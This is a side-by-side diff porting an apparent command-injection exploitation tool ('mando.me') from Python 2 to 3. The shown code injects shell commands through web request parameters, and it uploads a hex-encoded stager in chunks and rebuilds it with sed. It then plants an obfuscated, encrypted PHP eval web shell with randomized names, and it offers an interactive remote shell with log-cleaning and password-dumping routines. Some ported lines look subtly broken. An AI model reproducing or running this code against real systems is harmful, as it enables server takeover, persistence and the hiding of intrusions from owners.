self.send("sed -e 's/" + target + "/" + replacement + "/g' " + file + " > " + tmp + "; mv -f " + tmp + " " + file) self.send("sed -e 's/" + target + "/" + replacement + "/g' " + file + " > " + tmp + "; mv -f " + tmp + " " + file)
if self.send("grep -Fq '" + target + "' " + file + " && echo 'ok'") <> "ok": if self.send("grep -Fq '" + target + "' " + file + " && echo 'ok'") != "ok":
Print.success(file + " is clean") Print.success(file + " is clean")
else: else:
Print.error("Failed to clean " + file) Print.error("Failed to clean " + file)
@@ -1385,7 +1458,7 @@ class Shell(object):
for i in range(0, len(users)): for i in range(0, len(users)):
Print.text("[" + str(i) + "] " + users[i]) Print.text("[" + str(i) + "] " + users[i])
selection = raw_input(" User(s), separate index with comma: ") selection = input(" User(s), separate index with comma: ")
passwords = [ passwords = [
lambda x: x, lambda x: x,
@@ -1419,7 +1492,7 @@ class Shell(object):
if not self.tty: if not self.tty:
Print.error("This command needs tty") Print.error("This command needs tty")
else: else:
sudo = (True if self.send("whoami") <> "root" else False) sudo = (True if self.send("whoami") != "root" else False)
if ((sudo and self.send("sudo -u root whoami") == "root") or (not sudo)): if ((sudo and self.send("sudo -u root whoami") == "root") or (not sudo)):
dump = "" dump = ""
@@ -1635,7 +1708,7 @@ class Shell(object):
@staticmethod @staticmethod
def get(key = None): def get(key = None):
return RunCommands.definition()[key if key <> None else self.selected_command] return RunCommands.definition()[key if key != None else self.selected_command]
@staticmethod @staticmethod
def get_options(): def get_options():
@@ -1646,7 +1719,7 @@ class Shell(object):
@staticmethod @staticmethod
def is_selected(): def is_selected():
return True if self.selected_command <> None and self.selected_command in RunCommands.commands() else False return True if self.selected_command != None and self.selected_command in RunCommands.commands() else False
@staticmethod @staticmethod
def validate(command): def validate(command):
@@ -1685,14 +1758,14 @@ class Shell(object):
else: else:
self.selected_command = None self.selected_command = None
print " Select one of the following commands:" print(" Select one of the following commands:")
print " -> " + "\n -> ".join(sorted(RunCommands.commands())) print(" -> " + "\n -> ".join(sorted(RunCommands.commands())))
@staticmethod @staticmethod
def sc_set(match): def sc_set(match):
if match: if match:
self.option_values[match.group(1).upper()] = match.group(2) self.option_values[match.group(1).upper()] = match.group(2)
print " " + match.group(1).upper() + " => " + match.group(2) print(" " + match.group(1).upper() + " => " + match.group(2))
else: else:
Print.error("A name and a value must be defined") Print.error("A name and a value must be defined")
@@ -1731,7 +1804,7 @@ class Shell(object):
self.send("") self.send("")
command = RunCommands.get() command = RunCommands.get()
if command["run"] <> None: if command["run"] != None:
command["run"](command) command["run"](command)
else: else:
Print.error("There is no command selected") Print.error("There is no command selected")
@@ -1822,7 +1895,7 @@ class Shell(object):
while True: while True:
try: try:
_input = raw_input("\033[4mShell\033[0m" + ("(\033[94mtty\033[0m)" if self.tty else "") + (" use(\033[91m" + self.selected_command + "\033[0m)" if self.selected_command else "") + " > ") _input = input("\033[4mShell\033[0m" + ("(\033[94mtty\033[0m)" if self.tty else "") + (" use(\033[91m" + self.selected_command + "\033[0m)" if self.selected_command else "") + " > ")
_input_command = _input.split(" ")[0] _input_command = _input.split(" ")[0]
if _input_command == "exit": self.close(); if _input_command == "exit": self.close();
@@ -1832,10 +1905,10 @@ class Shell(object):
## Check if command ## Check if command
if _input_command in ShellCommands.commands(): if _input_command in ShellCommands.commands():
if not _input_command == "use": print "" if not _input_command == "use": print("")
command = ShellCommands.get(_input_command) command = ShellCommands.get(_input_command)
if command["run"] <> None: if command["run"] != None:
command["run"](re.compile(command["validation"]).match(_input)) command["run"](re.compile(command["validation"]).match(_input))
if command["state"] == self.interact_state.BREAK: break if command["state"] == self.interact_state.BREAK: break
@@ -1843,7 +1916,7 @@ class Shell(object):
else: else:
#Print.text(self.send(_input)) #Print.text(self.send(_input))
for x in self.send(_input).strip().split("\n"): Print.text(x) for x in self.send(_input).strip().split("\n"): Print.text(x)
print "" print("")
except: except:
self.close() self.close()
@@ -1896,10 +1969,10 @@ class CommandInjector(object):
if chunk: if chunk:
if _gs["system"] == Utility.os.LINUX: if _gs["system"] == Utility.os.LINUX:
chunk = "\\x" + "\\x".join([chunk[i:i + 2] for i in range(0, len(chunk), 2)]) chunk = "0x" + "0x".join([chunk[i:i + 2] for i in range(0, len(chunk), 2)])
urllib2.urlopen(url + ("?" +_gs["_stager"] + "=" + urllib.quote_plus("echo -n -e '" + chunk + "' >> " + path))).read() urllib.request.urlopen(url + ("?" +_gs["_stager"] + "=" + urllib.parse.quote_plus("echo '" + chunk + "' >> " + path))).read()
elif _gs["system"] == Utility.os.WINDOWS: elif _gs["system"] == Utility.os.WINDOWS:
urllib2.urlopen(url + ("?" +_gs["_stager"] + "=" + urllib.quote_plus("<nul set /p \".=" + chunk.decode("hex").replace("\"", "'") + "\" >> " + path))).read() urllib.request.urlopen(url + ("?" +_gs["_stager"] + "=" + urllib.parse.quote_plus("<nul set /p \".=" + chunk.decode("hex").replace("\"", "'") + "\" >> " + path))).read()
tl = Print.status("Sending stage: {:.0%}".format((counter - 1) / chunk_count), True) tl = Print.status("Sending stage: {:.0%}".format((counter - 1) / chunk_count), True)
Print.text(("\b" * tl), True) Print.text(("\b" * tl), True)
@@ -1907,36 +1980,44 @@ class CommandInjector(object):
counter += 1 counter += 1
else: else:
break break
# Remove line breaks
urllib.request.urlopen(url + ("?" +_gs["_stager"] + "=" + urllib.parse.quote_plus("sed -i -- ':a;N;$!ba;s/\\n//g' " + path))).read()
# Replace each hex representative
for i in range(256):
urllib.request.urlopen(url + ("?" +_gs["_stager"] + "=" + urllib.parse.quote_plus("sed -i -- 's/0x" + str("%0.2x" % i) + r"/\x" + str("%0.2x" % i) + "/g' " + path))).read()
Print.text((tl - Print.success("Payload injected through stager", True)) * " ") Print.text((tl - Print.success("Payload injected through stager", True)) * " ")
except: except:
Print.text((tl - Print.error("Failed to inject payload", True)) * " ") Print.text((tl - Print.error("Failed to inject payload", True)) * " ")
sys.exit(2)
finally: finally:
urllib2.urlopen(url + ("?" +_gs["_stager"] + "=" + urllib.quote_plus("rm " + _gs["payloads"]["stager"]["path"]))).read() urllib.request.urlopen(url + ("?" +_gs["_stager"] + "=" + urllib.parse.quote_plus("rm " + _gs["payloads"]["stager"]["path"]))).read()
Print.success("Stager removed") Print.success("Stager removed")
def technique_result_based(): def technique_result_based():
Print.status("METHOD: Result based injection") Print.status("METHOD: Result based injection")
for special in ["& ", "; ", "| ", "&;& "]: for special in ["", "& ", "; ", "| ", "&;& "]:
def interactor(command, internal = False): def interactor(command, internal = False):
import difflib import difflib
url = _gs["url"] url = _gs["url"]
if _gs["get"] <> None: if _gs["get"] != None:
url = url + "?" + urllib.urlencode(json.loads(_gs["get"].replace("'", "\"").replace("_INJECT_", "\"" + special + command + "\""))) url = url + "?" + urllib.parse.urlencode(json.loads(_gs["get"].replace("'", "\"").replace("_INJECT_", "\"" + special + command + "\"")))
if _gs["post"] <> None: if _gs["post"] != None:
request = urllib2.Request(url, urllib.urlencode(json.loads(_gs["post"].replace("'", "\"").replace("_INJECT_", "\"" + special + command + "\"")))) request = urllib.request.Request(url, headers=urllib.parse.urlencode(json.loads(_gs["post"].replace("'", "\"").replace("_INJECT_", "\"" + special + command + "\""))))
else: else:
request = urllib2.Request(url) request = urllib.request.Request(url)
if not _gs["cookies"] == None: if not _gs["cookies"] == None:
request.add_header("cookie", _gs["cookies"]) request.add_header("cookie", _gs["cookies"])
response = urllib2.urlopen(request).read() response = urllib.request.urlopen(request).read()
if internal: if internal:
return response return response
@@ -1946,8 +2027,8 @@ class CommandInjector(object):
for i, s in enumerate(difflib.ndiff(normal_response, response)): for i, s in enumerate(difflib.ndiff(normal_response, response)):
if s[0] == " ": continue if s[0] == " ": continue
elif s[0] == "+": result = result + s[-1] elif s[0] == "+": result = result + chr(int(s.replace("+","").strip()))
return result.replace(command, "") return result.replace(command, "")
if _placeholder == interactor("echo " + _placeholder).strip(): if _placeholder == interactor("echo " + _placeholder).strip():
@@ -1958,7 +2039,11 @@ class CommandInjector(object):
if os == Utility.os.LINUX: if os == Utility.os.LINUX:
Print.status("Uploading stager") Print.status("Uploading stager")
interactor("echo -n -e '" + r"\\x" + r"\\x".join([_gs["payloads"]["stager"]["payload"][i:i + 2] for i in range(0, len(_gs["payloads"]["stager"]["payload"]), 2)]) + "' >> " + _gs["payloads"]["stager"]["path"]) interactor("echo '0x" + "0x".join([_gs["payloads"]["stager"]["payload"][i:i + 2] for i in range(0, len(_gs["payloads"]["stager"]["payload"]), 2)]) + "' >> " + _gs["payloads"]["stager"]["path"])
for i in range(256):
interactor("sed -i -- 's/0x" + str("%0.2x" % i) + r"/\\x" + str("%0.2x" % i) + "/g' " + _gs["payloads"]["stager"]["path"])
#interactor(r"for i in {0..255}; do sed -i -- \"s/0x$( printf '%02x' $i)/\\x$( printf '%02x' $i)/g\" " + _gs["payloads"]["stager"]["path"] + "; done")
elif os == Utility.os.WINDOWS: elif os == Utility.os.WINDOWS:
Print.status("Uploading stager") Print.status("Uploading stager")
interactor("echo " + re.compile(r"[\<\>]").sub(r"^\g<0>", _gs["payloads"]["stager"]["payload"].decode("hex")).replace("\"", "\\\"") + " >> " +_gs["payloads"]["stager"]["path"]) interactor("echo " + re.compile(r"[\<\>]").sub(r"^\g<0>", _gs["payloads"]["stager"]["payload"].decode("hex")).replace("\"", "\\\"") + " >> " +_gs["payloads"]["stager"]["path"])
@@ -1978,25 +2063,25 @@ class CommandInjector(object):
def technique_blind_file_based(): def technique_blind_file_based():
Print.status("METHOD: Blind file based injection") Print.status("METHOD: Blind file based injection")
for special in ["& ", "; ", "| ", "&;& "]: for special in ["", "& ", "; ", "| ", "&;& "]:
def interactor(command, internal = False): def interactor(command, internal = False):
import difflib import difflib
url = _gs["url"] url = _gs["url"]
if _gs["get"] <> None: if _gs["get"] != None:
url = url + "?" + urllib.urlencode(json.loads(_gs["get"].replace("'", "\"").replace("_INJECT_", "\"" + special + command + "\""))) url = url + "?" + urllib.parse.urlencode(json.loads(_gs["get"].replace("'", "\"").replace("_INJECT_", "\"" + special + command + "\"")))
if _gs["post"] <> None: if _gs["post"] != None:
request = urllib2.Request(url, urllib.urlencode(json.loads(_gs["post"].replace("'", "\"").replace("_INJECT_", "\"" + special + command + "\"")))) request = urllib.request.Request(url, headers=urllib.parse.urlencode(json.loads(_gs["post"].replace("'", "\"").replace("_INJECT_", "\"" + special + command + "\""))))
else: else:
request = urllib2.Request(url) request = urllib.request.Request(url)
if not _gs["cookies"] == None: if not _gs["cookies"] == None:
request.add_header("cookie", _gs["cookies"]) request.add_header("cookie", _gs["cookies"])
response = urllib2.urlopen(request).read() response = urllib.request.urlopen(request).read()
if internal: if internal:
return response return response
@@ -2006,14 +2091,14 @@ class CommandInjector(object):
for i, s in enumerate(difflib.ndiff(normal_response, response)): for i, s in enumerate(difflib.ndiff(normal_response, response)):
if s[0] == " ": continue if s[0] == " ": continue
elif s[0] == "+": result = result + s[-1] elif s[0] == "+": result = result + chr(int(s.replace("+","").strip()))
return result.replace(command, "") return result.replace(command, "")
def check_placeholder(_placeholder): def check_placeholder(_placeholder):
try: try:
interactor("echo " + _placeholder + " >> " + _placeholder) interactor("echo " + _placeholder + " >> " + _placeholder)
return _placeholder == urllib2.urlopen(_gs["url"][:_gs["url"].rfind("/") + 1] + _placeholder).read().strip() return _placeholder == urllib.request.urlopen(_gs["url"][:_gs["url"].rfind("/") + 1] + _placeholder).read().strip()
except: except:
return "" return ""
@@ -2029,7 +2114,9 @@ class CommandInjector(object):
interactor("/bin/rm -f " + _placeholder) interactor("/bin/rm -f " + _placeholder)
Print.status("Uploading stager") Print.status("Uploading stager")
interactor("echo -n -e '" + r"\\x" + r"\\x".join([_gs["payloads"]["stager"]["payload"][i:i + 2] for i in range(0, len(_gs["payloads"]["stager"]["payload"]), 2)]) + "' >> " + _gs["payloads"]["stager"]["path"]) interactor("echo '0x" + "0x".join([_gs["payloads"]["stager"]["payload"][i:i + 2] for i in range(0, len(_gs["payloads"]["stager"]["payload"]), 2)]) + "' >> " + _gs["payloads"]["stager"]["path"])
for i in range(256):
interactor("sed -i -- 's/0x" + str("%0.2x" % i) + r"/\\x" + str("%0.2x" % i) + "/g' " + _gs["payloads"]["stager"]["path"])
elif os == Utility.os.WINDOWS: elif os == Utility.os.WINDOWS:
Print.status("Removing indicator") Print.status("Removing indicator")
@@ -2064,17 +2151,40 @@ class CommandInjector(object):
if technique() and not _gs["url_stager"] == None: if technique() and not _gs["url_stager"] == None:
# Collect information # Collect information
''' Don't make this optional
if Print.confirm("Encrypt response"): if Print.confirm("Encrypt response"):
_gs["smplshll_response_encryption"] = True _gs["smplshll_response_encryption"] = True
else: else:
_gs["smplshll_response_encryption"] = False _gs["smplshll_response_encryption"] = False
_gs["payloads"]["smplshll"]["payload"] = _gs["payloads"]["smplshll"]["payload"].replace("72657475726e20285f637279707428225f5f494e505f5053575f5f222c20246275666665722c2022656e63727970742229293b", "72657475726e20246275666665723b") _gs["payloads"]["smplshll"]["payload"] = _gs["payloads"]["smplshll"]["payload"].replace("72657475726e20285f637279707428225f5f494e505f5053575f5f222c20246275666665722c2022656e63727970742229293b", "72657475726e20246275666665723b")
'''
Print.status("Setting up encryption")
_gs["smplshll_response_encryption"] = True
# Prepare payload # Prepare payload
_gs["_var_eval"] = "".join(random.SystemRandom().choice(string.ascii_uppercase) for x in range(8))
_gs["_var_exec"] = "".join(random.SystemRandom().choice(string.ascii_uppercase) for x in range(8))
_gs["_var_sudo"] = "".join(random.SystemRandom().choice(string.ascii_uppercase) for x in range(8))
_gs["_var_sudo_prompt"] = "".join(random.SystemRandom().choice(string.ascii_uppercase) for x in range(8))
_gs["smplshll_main_password_var"] = "".join(random.SystemRandom().choice(string.ascii_uppercase) for x in range(8)) _gs["smplshll_main_password_var"] = "".join(random.SystemRandom().choice(string.ascii_uppercase) for x in range(8))
_gs["smplshll_main_password"] = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for x in range(32)) _gs["smplshll_main_password"] = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for x in range(32))
_gs["smplshll_input_password"] = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for x in range(32)) _gs["smplshll_input_password"] = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for x in range(32))
_gs["payloads"]["smplshll"]["payload"] = Utility.crypt(_gs["smplshll_main_password"], _gs["payloads"]["smplshll"]["payload"].decode("hex").replace("__INP_PSW__", _gs["smplshll_input_password"])) _gs["payloads"]["smplshll"]["payload"] = Utility.crypt(
_gs["smplshll_main_password"],
Utility.hexToStr(_gs["payloads"]["smplshll"]["payload"]).replace(
"__INP_PSW__", _gs["smplshll_input_password"]
).replace(
"__INP_VAR_EVAL__", _gs["_var_eval"]
).replace(
"__INP_VAR_EXEC__", _gs["_var_exec"]
).replace(
"__INP_VAR_SUDO__", _gs["_var_sudo"]
).replace(
"__INP_VAR_SUDO_PROMPT__", _gs["_var_sudo_prompt"]
)
)
_1 = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(8)) _1 = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(8))
time.sleep(0.1) time.sleep(0.1)
_2 = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(8)) _2 = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(8))
@@ -2092,16 +2202,16 @@ class CommandInjector(object):
_8 = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(8)) _8 = "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(8))
_gs["payloads"]["smplshll"]["payload"] = "3c3f7068702066756e6374696f6e20{0}2824{2}2c2024{3}2c2024{4}203d2027{5}2729207b2024{6}203d2027273b206966202824{4}20213d3d2027{5}27297b2024{3}203d206261736536345f6465636f64652824{3}293b207d20666f7220282024{7}203d20303b2024{7}203c207374726c656e2824{3}293b2024{7}2b2b29207b2024{8}203d206f7264287375627374722824{3}2c2024{7}29293b206966202824{4}203d3d2027{5}2729207b2024{8}202b3d206f7264287375627374722824{2}2c20282824{7}202b2031292025207374726c656e2824{2}292929293b2024{6}202e3d206368722824{8}20262030784646293b207d20656c7365207b2024{8}202d3d206f7264287375627374722824{2}2c20282824{7}202b2031292025207374726c656e2824{2}292929293b2024{6}202e3d20636872286162732824{8}2920262030784646293b207d207d2069662824{4}203d3d2027{5}2729207b2024{6}203d206261736536345f656e636f64652824{6}293b207d2072657475726e2024{6}3b207d206576616c28{0}28245f5345525645525b22485454505f{1}225d2c2027{9}272c2027{0}2729293b3f3e".format( _gs["payloads"]["smplshll"]["payload"] = "3c3f7068702066756e6374696f6e20{0}2824{2}2c2024{3}2c2024{4}203d2027{5}2729207b2024{6}203d2027273b206966202824{4}20213d3d2027{5}27297b2024{3}203d206261736536345f6465636f64652824{3}293b207d20666f7220282024{7}203d20303b2024{7}203c207374726c656e2824{3}293b2024{7}2b2b29207b2024{8}203d206f7264287375627374722824{3}2c2024{7}29293b206966202824{4}203d3d2027{5}2729207b2024{8}202b3d206f7264287375627374722824{2}2c20282824{7}202b2031292025207374726c656e2824{2}292929293b2024{6}202e3d206368722824{8}20262030784646293b207d20656c7365207b2024{8}202d3d206f7264287375627374722824{2}2c20282824{7}202b2031292025207374726c656e2824{2}292929293b2024{6}202e3d20636872286162732824{8}2920262030784646293b207d207d2069662824{4}203d3d2027{5}2729207b2024{6}203d206261736536345f656e636f64652824{6}293b207d2072657475726e2024{6}3b207d206576616c28{0}28245f5345525645525b22485454505f{1}225d2c2027{9}272c2027{0}2729293b3f3e".format(
_1.encode("hex"), Utility.strToHex(_1),
_gs["smplshll_main_password_var"].encode("hex"), Utility.strToHex(_gs["smplshll_main_password_var"]),
_2.encode("hex"), Utility.strToHex(_2),
_3.encode("hex"), Utility.strToHex(_3),
_4.encode("hex"), Utility.strToHex(_4),
_5.encode("hex"), Utility.strToHex(_5),
_6.encode("hex"), Utility.strToHex(_6),
_7.encode("hex"), Utility.strToHex(_7),
_8.encode("hex"), Utility.strToHex(_8),
_gs["payloads"]["smplshll"]["payload"].encode("hex") Utility.strToHex(_gs["payloads"]["smplshll"]["payload"])
) )
stager_upload(_gs["url_stager"], _gs["payloads"]["smplshll"]["payload"], _gs["payloads"]["smplshll"]["path"]) stager_upload(_gs["url_stager"], _gs["payloads"]["smplshll"]["payload"], _gs["payloads"]["smplshll"]["path"])
@@ -2124,13 +2234,13 @@ def main(argv):
"get=", "get=",
"cookies=", "cookies=",
]) ])
except getopt.GetoptError, err: except getopt.GetoptError as err:
print help_notes print(help_notes)
print err print(err)
sys.exit(2) sys.exit(2)
for opt, arg in opts: for opt, arg in opts:
if opt in ("--help"): if opt in ("--help"):
print help_notes print(help_notes)
sys.exit() sys.exit()
elif opt in ("--url"): _gs["url"] = arg elif opt in ("--url"): _gs["url"] = arg
elif opt in ("--post"): _gs["post"] = arg elif opt in ("--post"): _gs["post"] = arg
@@ -2140,9 +2250,9 @@ def main(argv):
if (not _gs["url"] == ""): if (not _gs["url"] == ""):
try: try:
urllib2.urlopen(_gs["url"]).read() urllib.request.urlopen(_gs["url"]).read()
except urllib2.URLError, e: except urllib.URLError as e:
print "\n \033[91mCannot access the interface\033[0m" print("\n \033[91mCannot access the interface\033[0m")
sys.exit(2) sys.exit(2)
## Initialize command injector ## Initialize command injector
@@ -2201,7 +2311,7 @@ def main(argv):
readline.set_completer_delims("") readline.set_completer_delims("")
user_input = raw_input("\033[4mmando.me\033[0m > ").strip() user_input = input("\033[4mmando.me\033[0m > ").strip()
if (not MandoCommand.command(user_input)): if (not MandoCommand.command(user_input)):
if _gs["system"] == Utility.os.LINUX: if _gs["system"] == Utility.os.LINUX:
@@ -2210,7 +2320,7 @@ def main(argv):
output = PHPInteractor.command("cd " + _gs["working_directory"] + " && " + user_input + " && echo. && echo %cd%").strip().split("\n") output = PHPInteractor.command("cd " + _gs["working_directory"] + " && " + user_input + " && echo. && echo %cd%").strip().split("\n")
else: else:
output = "" output = ""
_gs["working_directory"] = Utility.check_working_directory(_gs["working_directory"], output[len(output) - 1]) _gs["working_directory"] = Utility.check_working_directory(_gs["working_directory"], output[len(output) - 1])
for x in (output[:(len(output) - 1) - output[::-1].index("")] if '' in output else output[:len(output) - 1]): Print.text(x) for x in (output[:(len(output) - 1) - output[::-1].index("")] if '' in output else output[:len(output) - 1]): Print.text(x)
#print " " + "\n ".join((output[:(len(output) - 1) - output[::-1].index("")] if '' in output else output[:len(output) - 1])) #print " " + "\n ".join((output[:(len(output) - 1) - output[::-1].index("")] if '' in output else output[:len(output) - 1]))
@@ -2227,15 +2337,15 @@ try:
signal.signal(signal.SIGTSTP, handler) signal.signal(signal.SIGTSTP, handler)
if __name__ == "__main__": main(sys.argv[1:]) if __name__ == "__main__": main(sys.argv[1:])
except Exception, err: except Exception as err:
import traceback import traceback
print "" print("")
Print.error("Something went wrong. Terminating program.") Print.error("Something went wrong. Terminating program.")
print "" print("")
print "\033[91m" print("\033[91m")
print traceback.print_exc(file=sys.stdout) print(traceback.print_exc(file=sys.stdout))
print "\033[0m" print("\033[0m")
MandoCommand.mc_exit(None) MandoCommand.mc_exit(None)